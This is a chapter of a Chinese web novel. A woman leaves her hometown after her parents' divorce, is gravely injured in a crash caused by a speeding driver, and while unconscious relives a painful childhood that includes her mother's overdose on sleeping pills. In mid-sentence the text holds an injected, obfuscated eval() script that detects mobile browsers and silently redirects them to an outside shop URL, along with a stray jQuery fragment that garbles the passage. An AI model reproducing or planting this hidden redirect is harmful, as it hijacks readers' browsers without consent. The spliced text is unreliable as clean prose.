翌日上午九点多，陈漾开车去接余雅。
一路上两人交流很少。
直到快到目的地时，余雅才终于低声说了句：“有时间还是发个消息，别就记着工作了。”
“嗯。”陈漾依旧只是简单应声。
十点。
车停在民政局门口。
陈世明的车也已经在外面等着。
手续办得很快。
没多久，两人便各自拿着一本离婚证出来。
陈世明似乎还有事，和陈漾简单说了两句话就先离开。
余雅上车后眼睛有些泛红，整个人也沉默得厉害。
后来两人在商场随便吃了顿饭，余雅没什么胃口，几乎没动几筷子。
快三十年的婚姻，到今天终于彻底结束，那些反反复复纠缠多年的执念，也终于落幕。
可陈漾即使明白余雅的心情，却还是不知道该说些什么安慰的话。
晚些时候陈漾才回到工作室。
昨晚于忻还在追问邮筒和明信片的事。
“我总觉得那老板肯定知道什么。”于忻说。
陈漾也有同感。
尤其是陆昱明看到背后那两个字母时，神情明显不太对。
“等我去北城了，再帮你继续问。”于忻信誓旦旦。
陈漾没提起那天在照片店里响起的手机铃声。
她其实也短暂怀疑过，可最后还是觉得太荒谬。
一个素不相识的人怎么可能连续七年寄明信片给她。
根本解释不通。
于是她没再往深处想。
玻璃柜被打开。
陈漾把那六张明信片一一拿出来。
第一张，是海边日出。
第二张，是挂满祈福带的古寺老树。
第三张，是雪山。
…
直到第七张，北城那条老街。
这些地方她都查过，彼此相隔甚远。
除了背后那两个字母，再也找不出任何联系。
下午她又整理了不少东西搬上车。
接下来很长一段时间，她都会待在北城。
傍晚陈世明打电话来说一起吃顿饭，陈漾随口找了理由推掉。
电话那头沉默片刻，最后也没再说什么，只是简单叮嘱了几句，
第二天清晨。陈漾开车离开江城。
整座城市刚刚苏醒，天空泛着淡淡白雾，早餐店热气蒸腾，环卫工人在清扫落叶，几个学生背着书包匆匆赶往学校。
街上车很少。
陈漾降下车窗，风灌进来，人也清醒不少。
对街酒吧正好有人出来关门。
是江纪野。
他转身的瞬间，两人隔着街道短暂对视。
陈漾原本已经移开视线，却忽然看见了他手里拿着的东西。
一台相机。
很熟悉。
好像自己也有一台。
红灯转绿，陈漾收回思绪，踩下油门。
晨光一点点亮起。
有时候，意外发生的瞬间，人确实来不及思考任何事情。
没有预兆，也没有答案。
如果人的一生最终会变成一场漫长的走马灯。
那尽头之后又会是什么。
...
富二代通宵喝酒后，在清晨无人的街道上飙车。
货车司机为了生计，一大早便开始拉货，只想着能赶在天黑前回家，陪女儿过生日。
世事难料，一切都没有预兆。
尖锐的救护车声划破城市清晨的寂静。
等于忻赶到医院时，只看见走廊尽头站着一道身影。
江纪野靠在墙边，一夜没睡，眼底布满血丝，指骨上还沾着已经干涸的血迹。
跑车闯过来的时候，根本没有减速。
或者说，车上的人根本不在乎红灯。
车子径直撞上了货车尾部，也撞上了陈漾的车。
货车司机伤势不算太重，脑震荡，需要住院观察。
而陈漾严重得多。
车辆侧翻时，车窗碎裂，安全气囊弹开，巨大的冲击力让她头部重重撞上车门，鲜血几乎浸透半边衣领，身上也有多处擦伤和骨裂。
于忻问清楚情况后，眼泪一下就掉了下来。
明明前两天还好好的。
她还说，让陈漾在北城等她，她过几天就去。
可约定戛然而止。
陈漾从来都不是会依赖别人的性格。
她不会说累，也不会主动示弱，更多时候，只是沉默地把所有事情一个人熬过去。
于忻知道这和她的成长环境有关。
那段漫长又压抑的岁月里，没有人可以代替她自己和过去和解。
不久后，警察也到了医院。
是来找货车司机和江纪野了解情况。
江纪野状态很差，却还是一字一句，清楚复述了事故发生时的细节。
车身侧翻后，是他把陈漾从车里抱出来的。
她额头的血流了他满手。
早餐店老板娘报了警，救护车来时，陈漾已经陷入半昏迷。
空旷的医院走廊里，灯光冷白。
江纪野看着警察，声音低哑却清晰——
“不会和解。”
“无论什么方式。”
肇事者家里在江城做的生意不小，很快便派了人来医院。
只不过全被于忻拦了回去。
余雅赶到医院时，陈漾刚做完手术，被推进病房。
病床上的人安静得过分。
氧气面罩遮住了她半张脸，额头缠着纱布，脸色苍白得几乎透明。
余雅隔着玻璃，只看了一眼，眼泪便掉了下来，她下意识喊她，“阿漾……”
可没有人回应。
窗外下起了雨。
雨水顺着玻璃缓缓滑落，把城市灯火一点点晕开。
十字路口的事故现场早已清理干净，三辆车被拖离，人群散去。
这座城市重新恢复运转，像什么都没发生过一样。
又是一个雨天...
病房里的仪器声规律而冰冷。
陈漾安静躺着，意识像一点点沉入海底。
耳边所有声音都开始远去，她好像又回到了很多年前...
陈漾十岁那年，江城新开了第一家游乐场。
那天也是她的生日。
陈世明难得空出时间，一家三口去了游乐场。
夏天的风很热，游乐场里到处都是笑声。
有几个项目因为身高限制不能玩，陈世明便蹲下来哄她：“没事，等你长大了，爸爸再带你来。”
陈漾点点头，说好。
只是后来他再也没带她去过游乐场。
…
晚上一家人去了饭店。
陈世明以给女儿过生日的名义，请了不少人。
包厢里灯光晃眼，空气里全是酒味，大人们推杯换盏，笑声不断。
余雅不停给陈漾夹菜，旁边有人笑着夸：“你女儿真乖，吃饭都不挑食。”
陈漾低着头，把碗里最后那块肥肉吃了下去。
她其实从小就吃不了肥肉，一吃就反胃，可余雅忘了。
后来十岁的陈漾一个人跑进卫生间，扶着洗手台吐得眼眶发红。
镜子里的小女孩安静又狼狈。
没有哭。
…
仅仅过去五天。
余雅带着她到一家酒店楼下，从晚上十一点，一直到凌晨四点。
期间，余雅打了很多电话。
对方从最开始的不耐烦，到最后直接关机。
车里很闷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588906|205403||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，余雅一遍遍告诉说——
“你爸爸外面有人了。”
“那个孩子已经五岁了。”
那个晚上。
陈漾第一次知道，原来她还有一个妹妹。
…
后来家里开始不断争吵。
瓷器摔碎，玻璃落地。
尖锐的争执声几乎填满整个屋子。
可奇怪的是，每一次争吵结束后，两人又会恢复正常。
一起吃饭，一起聊天。
像什么都没发生。
只有陈漾越来越沉默。
后来她吃饭时，几乎再也不主动说一句话。
…
“我是因为你才不离婚的。”
后来很长一段时间，这是余雅对陈漾说得最多的一句话。
可很早以前，家在陈漾心里，就已经不存在了。
…
高考前某个晚上，陈世明难得回了家，喝得满身酒气。
凌晨时，陈漾突然被争吵声惊醒。
紧接着，是余雅崩溃的一句，“我死了你就开心了是吧？！”
下一秒。
手机震动。
余雅给她发来一条消息。
陈漾猛地清醒，冲进隔壁房间。
床头倒着一个空掉的安眠药瓶。
余雅吞了一整瓶药。
而陈世明坐在旁边，醉意明显，一句话都没说。
最后是还未成年的陈漾，一个人跟着救护车去了医院。
ICU外的灯亮了一整夜。
因为未成年，她不能签字，只能一遍遍给陈世明打电话。
医生看着那个站在走廊里的女孩，最后只让赶来的陈世明按了手印。
天亮时，医生终于出来说：“人没事了。”
那时候。
陈漾已经将近二十个小时没合眼。
…
高考结束后，陈漾病倒了。
持续十多天的精神紧绷，让她直接烧到三十九度多。
半夜醒来时，屋子里安安静静，余雅已经回房睡了，没人发现她发烧。
第二天陈漾一个人去了诊所吊水。
半个月以后，陈世明回了家，两人最开始还吵了一架，到最后又假装相安无事的生活了下去。
好像那个晚上的事情只有陈漾记得。
好像一切都没有发生，没有伤痕在谁的身上。
…
后来她去了离江城很远的大学。
上大学以后，陈漾开始打工，渐渐的很少或者很久以后才回余雅的消息。
放假的时候，也免不了被余雅反复拿出来念叨。
初高中余雅念叨的时候，陈漾也常常控制不住，然后争吵。
然而随着时间的推移，她慢慢地学会了在余雅面前沉默。
陈漾不长的二十七年的人生中，对她来说幸福这个词已经太过久远以及陌生。
陈世明和余雅的婚姻对年幼时的她来说与枷锁并无不同。
陈漾也有过愧疚，觉得自己太过幼稚对余雅如此，只是在两人见面时，年少时的话仿佛还扎根在她心底，挥散不去。
这么多年，陈漾一直都是一个人。
她见过余雅崩溃，见过陈世明冷漠，也见过那个家一点点腐烂。
可没人问过她。
于是后来她习惯了所有事情自己撑过去。
所以闭上眼的那一刻。
陈漾忽然觉得，如果就这样结束，好像也没什么。
直到她听见一道熟悉的声音。
像跨越了很多年。
又像有人拼命穿过风雨与人潮，不顾一切朝她奔来。
她想回头，可视线越来越模糊。
意识彻底坠落前。
她终于听清了那道声音——
“陈漾！”